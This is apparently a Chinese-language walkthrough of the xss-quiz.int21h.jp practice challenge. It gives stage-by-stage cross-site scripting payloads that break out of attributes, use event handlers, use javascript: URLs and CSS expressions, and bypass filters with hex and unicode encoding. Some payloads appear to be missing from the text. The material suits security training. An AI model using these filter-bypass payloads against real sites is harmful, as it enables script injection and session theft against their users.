环境:http://xss-quiz.int21h.jp
一、Stage #1 无过滤xss漏洞
1、随便输入字符:123
2、输入payload:
3、弹出对话框,说明存在xss漏洞
二、Stage #2 属性中的xss漏洞
1、在窗口中输入payload:,查看审查元素,payload被写在一个标签中
2、重新构造payload,先闭合标签:
">
或者 "οnmοuseοver=alert(document.domain)>
3、成功弹出
三、Stage #3 选择列表框中的xss漏洞
1、点击search,抓包
2、修改post数据,添加payload:,发送到repeater,send
3、右击响应信息,show response in browser,复制到浏览器打开
四、隐藏提交参数的xss漏洞
">
1、随便输入字符,search,抓包
2、在隐藏参数后面添加payload,forward,查看审查元素
3、闭合参数,重新构造payload:">,发包,成功弹出
五、HTML事件中的xss漏洞
1、直接输入payload:">,审查元素,字符被转义了,
2、重新构造payload:"οnmοuseοver=“alert(document.domain)
或者” οnclick=“alert(document.domain)”
3、成功弹出
六、空格分隔属性中的xss漏洞
1、随便输入字符111 222 333
2、输入字符串
3、构造payload:111 οnclick=alert(document.domain),成功弹出
七、JavaScript为协议触发
1、输入payload:javascript:alert(document.domain),成功弹出
八、绕过过滤xss漏洞
1、输入payload:">,审查元素,domain被过滤了
2、重新构造payload:">
九、绕过替换script和on事件的xss漏洞
1、输入,script被替换成xscript
2、闭合payload,并修改100" οnmοuseοver="alert(document.domain)
on事件,被替换成onxxx
3、使用伪协议加“	”绕过
100"> xss
十、利用IE特性绕过过滤",可以闭合双引号,
οnmοusemοve=alert(document.domain)
仅针对IE浏览器
十一、利用css特性绕过过滤",IE低版本
background-color:#f00;background:url(“javascript:alert(document.domain);”);
十二、利用css执行js
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
十三、十六进制绕过过滤
1、输入
2、<>都被转义了,用十六进制代替
\x3cscript\x3ealert(document.domain);\x3c/script\x3e
十四、unicode绕过过滤
1、输入\x3c \x3e,不能绕过
2、重新利用unicode构造payload:
\u003cscript\u003ealert(document.domain);\u003c/script\u003e
禁止非法,后果自负
欢迎关注公众号:web安全工具库